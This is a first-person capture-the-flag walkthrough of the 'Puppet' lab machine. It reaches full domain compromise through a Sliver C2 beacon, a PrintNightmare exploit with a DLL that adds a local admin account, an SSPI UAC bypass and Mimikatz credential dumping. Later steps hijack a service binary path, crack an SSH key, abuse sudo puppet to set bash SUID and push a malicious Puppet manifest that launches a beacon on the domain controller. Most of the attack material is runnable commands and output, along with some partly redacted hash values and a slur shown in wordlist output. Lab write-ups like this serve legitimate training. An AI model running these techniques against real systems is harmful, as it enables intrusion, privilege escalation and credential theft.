Puppet is a medium-difficulty, multi-stage Windows and Linux hybrid machine that highlights C2 beacon abuse, PrintNightmare exploitation, UAC bypasses, and Puppet service misconfigurations. Initial enumeration reveals open FTP access hosting a Sliver beacon configuration and binary. Launching the client triggers a beacon callback from a compromised Windows host. With Sliver access, PrintNightmare is exploited to gain local admin, followed by a UAC bypass via SSPI token impersonation. Credentials are dumped using Mimikatz, revealing access to the Puppet service. Service binary path hijacking allows privilege escalation to SYSTEM. SharpHound and BloodHound expose further domain context. SSH access is pivoted to a Linux host via a recovered and cracked ed25519 private key, leading to root by abusing puppet via sudo. Certificate enumeration on the Linux host exposes domain-wide trust relationships. A malicious Puppet manifest is executed on the Domain Controller, resulting in full domain compromise. The final flag is retrieved from the Administrator’s desktop, containing credentials for the root domain user.

Enumeration

From my host machine, I had access to a single remote target. A full TCP port scan revealed several open ports, including port 31337, which is commonly used by Sliver C2 servers:

1
2
3
4
5
6
7
8
9
10
11
➜  puppet nmap -p- 10.10.253.183 --min-rate=10000 -oA ./nmap/portscan2 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 15:07 EDT
Nmap scan report for 10.10.253.183
Host is up (0.13s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
8140/tcp open puppet
8443/tcp open https-alt
31337/tcp open Elite

On the FTP server, I found a configuration file and Sliver client binary:

1
2
3
4
5
6
7
8
9
ftp> ls
229 Entering Extended Passive Mode (|||32668|)
150 Here comes the directory listing.
-rw----r-- 1 0 0 2119 Oct 11 2024 red_127.0.0.1.cfg
-rwxr-xr-x 1 0 0 36515304 Oct 12 2024 sliver-client_linux
226 Directory send OK.
ftp> get red
ftp> get red_127.0.0.1.cfg
local: red_127.0.0.1.cfg remote: red_127.0.0.1.cfg

After downloading and inspecting the red_127.0.0.1.cfg file, it appeared to be a beacon configuration for the Sliver framework:

1
2
3
4
5
6
7
8
9
10
➜  puppet cat red_127.0.0.1.cfg | jq
{
"operator": "red",
"token": ""-----Snip-----",
"lhost": "127.0.0.1",
"lport": 31337,
"ca_certificate": ""-----Snip-----",
"private_key": ""-----Snip-----",
"certificate": "-----Snip-----"
}

I imported the Sliver configuration and launched the client. Eventually, a beacon call-back was received from a machine using the domain user PUPPET\Bruce.Smith:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  sliver ./sliver-client_linux import /home/sz/Documents/vulnlab/labs/medium/puppet/red_127.0.0.1.cfg 
2025/05/10 15:22:10 Saved new client config to: /home/sz/.sliver-client/configs/red_127.0.0.1.cfg

➜ sliver ./sliver-client_linux
Connecting to 127.0.0.1:31337 ...

sliver > use

? Select a session or beacon: BEACON 53008a92 puppet-mtls 10.10.253.182:55945 File01 PUPPET\Bruce.Smith windows/amd64
[*] Active beacon puppet-mtls (53008a92-c3ed-440e-99d3-fac986dd22b5)

sliver (puppet-mtls) > beacons

ID Name Tasks Transport Remote Address Hostname Username Operating System Locale Last Check-In Next Check-In
========== ============= ======= =========== ===================== ========== ==================== ================== ======== ======================================== ======================================
53008a92 puppet-mtls 0/0 mtls 10.10.253.182:55945 File01 PUPPET\Bruce.Smith windows/amd64 en-US Sat May 10 15:26:11 EDT 2025 (26s ago) Sat May 10 15:26:42 EDT 2025 (in 5s)

Post-Exploitation Enumeration

A look inside C:\ProgramData revealed the presence of Puppet and PuppetLabs directories, indicating the Puppet automation tool was installed on the machine.

1
2
3
4
5
6
7
8
sliver (puppet-mtls) > ls

C:\ProgramData (17 items, 4.6 KiB)
==================================
-----Snip-----
drwxrwxrwx Puppet <dir> Sat Oct 12 04:42:37 -0700 2024
drwxrwxrwx PuppetLabs <dir> Fri Oct 11 06:07:15 -0700 2024
-----Snip-----

To ensure operational security (OpSec), I installed default Beacon Object Files (BOFs), including TrustedSec’s situational awareness BOFs.

1
2
3
4
5
#Install Situational Awareness
sliver (puppet-mtls) > armory install situational-awareness

#Install All of the Armory
sliver (puppet-mtls) > armory install all

Exploiting PrintNightmare

After basic recon yielded little of value, I uploaded and executed the PrivescCheck PowerShell script, which revealed the machine was vulnerable to PrintNightmare (CVE-2021-34527).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sliver (puppet-mtls) > upload PrivescCheck.ps1
sliver (puppet-mtls) > sharpsh -t 300 -- -c invoke-privesccheck --uri c:\\windows\\tasks\\PrivescCheck.ps1

Policy : Limits print driver installation to Administrators
Key : HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
Value : RestrictDriverInstallationToAdministrators
Data : 0
Default : 1
Expected : <null|1>
Description : Installing printer drivers does not require administrator privileges.

Policy : Point and Print Restrictions > NoWarningNoElevationOnInstall
Key : HKLM\SOFTWARE\Policies\Microsoft\WindowsNT\Printers\PointAndPrint
Value : NoWarningNoElevationOnInstall
Data : 1
Default : 0
Expected : <null|0>
Description : Do not show warning or elevation prompt. Note: this setting reintroduces the PrintNightmare LPE
vulnerability, even if the settings 'InForest' and/or 'TrustedServers' are configured.

To exploit PrintNightmare, I used a base64-encoded payload to create an admin user using PowerShell, encoded via cyberchef.

1
sliver (puppet-mtls) > sharpsh -i -s -t 300 -- --uri c:\\windows\\tasks\\CVE-2021-34527.ps1 -e -c  SQBuAHYAbwBrAGUA...........

we can prepared a DLL with DllMain executing commands to create and elevate the user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user johnsmith Password123! /add");
i = system ("net localgroup administrators johnsmith /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}

Using runas, I launched puppet-update.exe with the new johnsmith user:

1
2
3
4
5
6
7
# Encode the command
str='Invoke-Nightmare -DLL "C:\Windows\tasks\servzer.dll"'
echo -en "$str" | iconv -t UTF-16LE | base64 -w 0

#Execute the payload
sliver (puppet-mtls) > sharpsh -i -s -t 300 -- --uri c:\\windows\\tasks\\CVE-2021-34527.ps1 -e -c SQBuAHYAbwBrAGUALQBOAGkA----SNIP---------AGUAcgB2AHoAZQByAC4AZABsAGwAIgA=

UAC Bypass

Although our user is part of local administrator it doesnt have all the necessary rights and this is due to UAC in the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
GROUP INFORMATION                                 Type                     SID                                          Attributes               
================================================= ===================== ============================================= ==================================================
FILE01\None Group S-1-5-21-2946821189-2073930159-359736154-513 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Local account and member of Administrators groupWell-known group S-1-5-114
BUILTIN\Administrators Alias S-1-5-32-544
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group,
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group,
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group,
Mandatory Label\Medium Mandatory Level Label S-1-16-8192 Mandatory group, Enabled by default, Enabled group,


Privilege Name Description State
============================= ================================================= ===========================
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

To elevate our user and Bypass UAC we can UAC-BOF-Bonanza.

1
2
3
# Copy the bypass in extension folder and compile
cp -rp ./UAC-BOF-Bonanza/SspiUacBypass ~/.sliver-client/extensions/
cd ~/.sliver-client/extensions/SspiUacBypass/; make

After compiling we can load the BOF in sliver and then excute our beacon file in order to get elevated shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sliver (puppet-mtls) > extensions load /home/sz/.sliver-client/extensions/SspiUacBypass

[*] Added SspiUacBypass command: Perform UAC bypass via SSPI Datagram Contexts

sliver (puppet-mtls) > SspiUacBypass C:\\programdata\\puppet\\puppet-update.exe

[*] Successfully executed SspiUacBypass (coff-loader)
[*] Got output:

SspiUacBypass - Bypassing UAC with SSPI Datagram Contexts
by @splinter_code

Forging a token from a fake Network Authentication through Datagram Contexts
Network Authentication token forged correctly, handle --> 0x2a4
Forged Token Session ID set to 1. lsasrv!LsapApplyLoopbackSessionId adjusted the token to our current session
Bypass Success! Now impersonating the forged token... Loopback network auth should be seen as elevated now
Invoking CreateSvcRpc (by @x86matthew)
Connecting to \\127.0.0.1\pipe\ntsvcs RPC pipe
Opening service manager...
Creating temporary service...
Executing 'C:\programdata\puppet\puppet-update.exe' as SYSTEM user...
Deleting temporary service...
Finished


[*] Beacon 3e11f012 puppet-mtls - 10.10.144.118:58591 (File01) - windows/amd64 - Thu, 22 May 2025 02:33:31 EDT

Credential Dumping

Now we can dump the credentials from the server. we can use both sideload to execute mimikatz binary in the beacon process and also use mimikatz built-in function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Using Sideload
sideload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe "token::elevate privilege::debug sekurlsa::logonpasswords exit"

# Sliver build-in Mimikatz
sliver (puppet-mtls) > mimikatz "token::elevate privilege::debug sekurlsa::logonpasswords exit"

[*] Successfully executed mimikatz
[*] Got output:

Authentication Id : 0 ; 589636 (00000000:0008ff44)
Session : Service from 0
User Name : svc_puppet_win_t1
Domain : PUPPET
Logon Server : DC01
Logon Time : 5/21/2025 11:09:51 PM
SID : S-1-5-21-3066630505-2324057459-3046381011-1131
msv :
[00000003] Primary
* Username : svc_puppet_win_t1
* Domain : PUPPET
* NTLM : 7<--SNIP-->6
* SHA1 : e4b6c57180670c42d1894db1daebe833787ad23b
* DPAPI : abe71d756f0b2d9e69b803833ef4869d
tspkg :
wdigest :
* Username : svc_puppet_win_t1
* Domain : PUPPET
* Password : (null)
kerberos :
* Username : svc_puppet_win_t1
* Domain : PUPPET.VL
* Password : (null)

Service Abuse via Binary Path Hijack

We got credential of svc_puppet_win_t1 which seems like an agent of puppet in order to use manage this servers. lets use sharp-hound in order to get domain ACL. The build-in sharp-hound-4 is compatible with BloodHound version 5.0.0. If you are using legacy version use you can use Sharphound.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#For Bloodhound Legacy
sliver (puppet-mtls) > execute-assembly /home/sz/SharpCollection/NetFramework_4.7_any/SharpHound.exe -c all,gpolocalgroup

#For version 5 and above
sliver (puppet-mtls) > sharp-hound-4 -s -t 1000 -- -c all,gpolocalgroup

[*] sharp-hound-4 output:
2025-05-21T23:55:28.7213567-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-05-21T23:55:29.2373339-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2025-05-21T23:55:29.2690719-07:00|INFORMATION|Initializing SharpHound at 11:55 PM on 5/21/2025
2025-05-21T23:55:29.6139591-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for puppet.vl : DC01.puppet.vl
2025-05-21T23:55:29.7705019-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2025-05-21T23:55:30.2090083-07:00|INFORMATION|Beginning LDAP search for puppet.vl
2025-05-21T23:55:30.2090083-07:00|INFORMATION|Testing ldap connection to puppet.vl
2025-05-21T23:55:30.3030880-07:00|INFORMATION|Beginning LDAP search for puppet.vl Configuration NC
2025-05-21T23:56:00.9800833-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 39 MB RAM
2025-05-21T23:56:17.5189016-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-05-21T23:56:17.5345091-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-05-21T23:56:19.3947148-07:00|ERROR|[CommonLib DCRegProc]Error getting data from registry for DC01.PUPPET.VL: SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel:CertificateMappingMethods
System.Security.SecurityException: Requested registry access is not allowed.
at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
at SharpHoundCommonLib.SHRegistryKey.GetValue(String subkey, String name)
at SharpHoundCommonLib.Helpers.GetRegistryKeyData(String target, String subkey, String subvalue, ILogger log)
The Zone of the assembly that failed was:

It seems like our use is part of Admins_T1 group. There is also another use LIN_T1 which most likly a agent for linux machine.

Next let check the shares. We have access to it share as svc_puppet_win_t1.

1
2
3
4
5
6
7
8
9
10
11
12
sliver (puppet-mtls) > sa-netshares DC01

[*] Successfully executed sa-netshares (coff-loader)
[*] Got output:
Share:
---------------------DC01----------------------------------
ADMIN$
C$
IPC$
it
NETLOGON
SYSVOL

With svc_puppet_win_t1, I had rights to modify and restart the Puppet service. This allowed replacing the service binary path with my beacon payload for stealthy privilege escalation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sliver (puppet-mtls) > sa-sc-enum

SERVICE_NAME: puppet
DISPLAY_NAME: Puppet Agent
TYPE : 16 WIN32_OWN
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 1552
FLAGS : 0
TYPE : 10 WIN32_OWN
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\Puppet Labs\Puppet\sys\ruby\bin\ruby.exe" -rubygems "C:\Program Files\Puppet Labs\Puppet\service\daemon.rb"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Puppet Agent
DEPENDENCIES :
SERVICE_START_NAME : [email protected]
RESET_PERIOD (in seconds) : 0
REBOOT_MESSAGE :
COMMAND_LINE :
FAILURE_ACTIONS : RESTART -- Delay = 60000 milliseconds
FAILURE_ACTIONS : RESTART -- Delay = 60000 milliseconds
FAILURE_ACTIONS : RESTART -- Delay = 60000 milliseconds
The service has not registered for any start or stop triggers.

Manual Method

XCT wrote how to perform this manually using sliver.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# obtaining the service path
sa-reg-query file01 2 System\\CurrentControlSet\\Services\\puppet ImagePath

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\puppet
ImagePath REG_EXPAND_SZ "C:\Program Files\Puppet Labs\Puppet\sys\ruby\bin\ruby.exe" -rubygems "C:\Program Files\Puppet Labs\Puppet\service\daemon.rb"

# changing the service path
execute -o -s -- c:\\windows\\system32\\cmd.exe /c sc config puppet binPath=c:\\programdata\\puppet\\puppet-update.exe
execute -o -s -- c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Restart-Service -Name puppet"

...
[*] Beacon 55fa6e2a puppet-mtls - 10.10.144.230:52071 (File01) - windows/amd64 - Thu, 17 Oct 2024 15:23:40 CEST

# restoring the service path
execute -o -s -- c:\\windows\\system32\\cmd.exe /c sc config puppet binPath="\"C:\\Program Files\\Puppet Labs\\Puppet\\sys\\ruby\\bin\\ruby.exe\" -rubygems \"C:\\Program Files\\Puppet Labs\\Puppet\\service\\daemon.rb\""
execute -o -s -- c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Restart-Service -Name puppet"

Process Injection

An alternative was to identify a process owned by svc_puppet_win_t1 and inject shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Enumerate Process
sliver (puppet-mtls) > ps

Pid Ppid Owner Arch Executable Session
====== ====== ============================== ======== ============================= =========
444 784 PUPPET\Bruce.Smith x86_64 StartMenuExperienceHost.exe 1
2880 784 PUPPET\Bruce.Smith x86_64 RuntimeBroker.exe 1
3624 784 PUPPET\Bruce.Smith x86_64 SearchApp.exe 1
4092 784 PUPPET\Bruce.Smith x86_64 RuntimeBroker.exe 1
1868 784 PUPPET\Bruce.Smith x86_64 RuntimeBroker.exe 1
2300 660 PUPPET\svc_puppet_win_t1 x86_64 ruby.exe 0
3980 660 PUPPET\Bruce.Smith x86_64 svchost.exe 1
3636 784 PUPPET\Bruce.Smith x86_64 ShellExperienceHost.exe 1
3652 784 PUPPET\Bruce.Smith x86_64 RuntimeBroker.exe 1
2496 2736 PUPPET\Bruce.Smith x86_64 puppet-update.exe 1
4736 2496 PUPPET\Bruce.Smith x86_64 conhost.exe 1
2892 2496 FILE01\redpuppet x86_64 puppet-update.exe 1
4248 4624 NT AUTHORITY\SYSTEM x86_64 puppet-update.exe 0
4688 660 x86_64 svchost.exe 0

Inject shellcode into PID 2300.

1
2
3
4
5
sliver (puppet-mtls) > migrate -p 2300

[*] Successfully migrated to 2300

[*] Beacon bd19805b puppet-mtls - 10.10.144.118:59697 (File01) - windows/amd64 - Thu, 22 May 2025 03:44:48 EDT

Enumerated available shares using sa-netshares, and found an it share.

1
2
3
4
5
6
7
8
9
10
11
12
13
sliver (puppet-mtls) > ls \\\\dc01.puppet.vl\\it

\\dc01.puppet.vl\it\ (3 items, 813.9 KiB)
=========================================
drwxrwxrwx .ssh <dir> Sat Oct 12 01:39:50 -0700 2024
drwxrwxrwx firewalls <dir> Sat Oct 12 01:15:05 -0700 2024
-rw-rw-rw- PsExec64.exe 813.9 KiB Sat Oct 12 01:07:00 -0700 2024


\\dc01.puppet.vl\it\.ssh (2 items, 580 B)
=========================================
-rw-rw-rw- ed25519 472 B Sat Oct 12 01:14:23 -0700 2024
-rw-rw-rw- ed25519.pub 108 B Sat Oct 12 01:40:09 -0700 2024

Inside .ssh folder, recovered a private key ed25519. Decrypted using john:

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  sliver john --wordlist=/usr/share/wordlists/rockyou.txt hash     
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:58 0.01% (ETA: 2025-05-29 23:28) 0g/s 26.00p/s 26.00c/s 26.00C/s nigger..mexico1
0g 0:00:00:59 0.01% (ETA: 2025-05-29 22:54) 0g/s 26.01p/s 26.01c/s 26.01C/s daisy1..blueberry
puppet (ed25519)
1g 0:00:05:12 DONE (2025-05-22 03:54) 0.003196g/s 26.23p/s 26.23c/s 26.23C/s total90..oscar123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The private key originally generated and formatted on a Windows system, used carriage return characters (CRLF), which must be converted to UNIX line endings to be compatible with OpenSSH on Linux. I used dos2unix to perform the conversion. Afterthat I set up a local port forward from the Sliver session to reach the target SSH service through the beacon.

1
2
3
4
5
6
7
8
9
10
11
12
13
#Convert the private Key
➜ Puppet dos2unix ed25519
dos2unix: converting file ed25519 to Unix format...

#Change permission
chmod 600 id_rsa

#Portforward
sliver (puppet-mtls) > portfwd add --bind 2222 -r 10.10.253.183:22
[*] Port forwarding 127.0.0.1:2222 -> 10.10.253.183:22

#SSH using the private key
ssh -i id_rsa -t '[email protected]'@127.0.0.1 -p 2222

User lin_t1 can run puppet service with sudo.

1
2
3
4
5
6
sudo -l
Matching Defaults entries for [email protected] on puppet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User [email protected] may run the following commands on puppet:
(ALL) NOPASSWD: /usr/bin/puppet

We can make the execute commands using puppet and bash SUID to get root access. GTFObins have a nice article about this

1
2
3
4
5
sudo puppet apply -e "exec { '/bin/sh -c \"chmod u+s /bin/bash\"': }"

bash -p
bash-5.1# id
uid=451001132([email protected]) gid=451000513(domain users@puppet.vl) euid=0(root) groups=451000513(domain users@puppet.vl),451001133([email protected])

Compromising the Domain Controller

With root shell, I dumped all Puppet certificates.

1
2
3
4
5
6
7
8
bash-5.1# sudo puppet cert list --all
Warning: `puppet cert` is deprecated and will be removed in a future release.
(location: /usr/lib/ruby/vendor_ruby/puppet/application.rb:370:in `run')
+ "dc01.puppet.vl" (SHA256) E4:C3:42:71:83:88:08:07:6A:C5:A1:9D:FA:C2:7E:BB:D5:65:5F:71:9F:D3:BE:11:96:B7:26:CD:4F:5C:68:C6
+ "file01.puppet.vl" (SHA256) 61:ED:86:C3:55:35:36:89:D5:FC:3A:32:05:D1:23:EC:C3:F1:58:E4:D7:9A:6B:3E:65:F4:F2:F2:77:34:B0:CA
+ "pm01" (SHA256) 94:8C:76:E9:D1:43:CA:FF:6C:06:34:80:23:02:8C:49:20:00:B2:43:62:42:16:7B:AF:4F:A6:68:F3:C2:D8:06 (alt names: "DNS:pm01", "DNS:puppet")
+ "pm01.localdomain" (SHA256) 2D:DC:44:F8:49:B6:41:B3:9A:2A:AE:B3:D2:9F:C7:6F:1F:0A:62:00:19:EB:B8:93:D6:C6:65:28:60:D9:F1:B8 (alt names: "DNS:pm01.localdomain", "DNS:puppet")
+ "puppet.puppet.vl" (SHA256) 11:65:85:DB:9F:E4:19:03:04:21:92:4B:19:03:17:6D:29:A9:E9:56:0F:04:A6:16:2B:44:46:A3:33:20:92:9C (alt names: "DNS:puppet", "DNS:puppet.puppet.vl")

Now we can execute command in domain controller. First we have to copy our beacon payload then make run our puppet payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Copy Beacon payload to accessible share folder
sliver (puppet-mtls) > shell
? This action is bad OPSEC, are you an adult? Yes
Copy-Item -Path 'C:\ProgramData\puppet\puppet-update.exe' -Destination '\\file01.puppet.vl\files\puppet-update.exe'

#Create Payload
bash-5.1# mkdir -p /etc/puppet/code/environments/production/manifests
bash-5.1# nano /etc/puppet/code/environments/production/manifests/site.pp

#Payload
node 'dc01.puppet.vl' {
exec { 'pwned':
command => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\puppet-update.exe',
logoutput => true,
}
}
node default {
notify { 'This is the default node': }
}

#Run the payload
bash-5.1# sudo puppet apply /etc/puppet/code/environments/production/manifests/site.pp

Recovering the Final Flag

The final flag was located in the Desktop of Administrator on DC01. The content noted that the flag was the password for the root@puppet.vl user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
sliver (puppet-mtls) > ls

C:\Users\administrator\Desktop (3 items, 7.7 KiB)
=================================================
-rw-rw-rw- desktop.ini 282 B Wed Sep 25 22:24:15 -0700 2024
-rw-rw-rw- Microsoft Edge.lnk 2.3 KiB Fri Oct 11 05:51:57 -0700 2024
-rw-rw-rw- root.txt 5.2 KiB Sat Oct 12 01:46:14 -0700 2024


sliver (puppet-mtls) > cat root.txt

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⠶⠶⠶⣦⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⢻⡿⠋⣁⣤⣶⣾⣿⣿⣶⣿⣽⣿⣶⣄⡀⠀⠀⠀⡰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣛⠛⠃⠊⢀⣼⣿⣿⣿⣿⣿⣿⣿⠿⠿⣿⣿⣿⡿⣆⠀⠐⠁⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⢷⣶⣤⡀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣟⣛⡶⠾⡿⢛⣟⣃⠅⠀⠂⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣳⣿⣿⣿⣿⣦⠿⠛⠉⠋⠉⠁⠀⠉⠙⠛⠛⣿⣿⣷⣦⣣⠐⠢⠑⠈⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⢧⣿⣿⣯⡷⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⡵⣤⡄⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡟⣾⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⢡⣿⣿⡿⠁⠀⢀⣠⡤⠄⠀⠀⠀⠀⠀⠰⠖⠒⠂⠤⡀⠀⢸⣿⣿⢹⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⢸⣿⣿⠇⠄⠂⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠁⢸⣿⣿⢸⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡇⣿⣿⣿⠀⠀⠀⣠⣤⣬⡑⠀⠀⠀⠀⠀⢀⣥⡶⠶⢦⣕⠀⢸⣿⣿⢸⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡇⣿⣿⣿⠀⢠⠾⠁⣀⡈⠋⠁⠀⠀⠀⠀⠀⠀⢠⣤⡀⠈⠇⢨⣿⣿⢸⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⡇⣿⡿⣸⣣⠈⠐⠈⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠀⠀⠀⠂⣿⣿⡸⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣟⡄⣿⠇⣿⠪⢁⠀⢐⠒⠂⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠉⠄⠐⢀⡼⣿⡇⠹⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⢟⣾⣇⣿⢰⣿⣷⡄⠒⠀⠀⠂⠂⠀⠐⠒⠒⠒⠒⠒⠒⠀⠆⠀⠁⣿⡇⣿⣿⢠⡹⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⢏⣾⣿⣿⠛⢸⣿⣿⣷⢄⣀⣀⣀⢤⣤⣤⣤⣤⣤⣤⣤⣤⣤⢦⣤⢲⢻⠇⣿⡿⣼⣷⡝⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⢫⣾⣿⣿⣿⣠⢸⣿⣿⣿⣼⣼⣿⣬⡬⢉⠉⠉⠉⠉⢉⡩⢋⣾⣶⣾⡶⣱⣷⡿⣹⣿⣿⣿⡟⢿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀
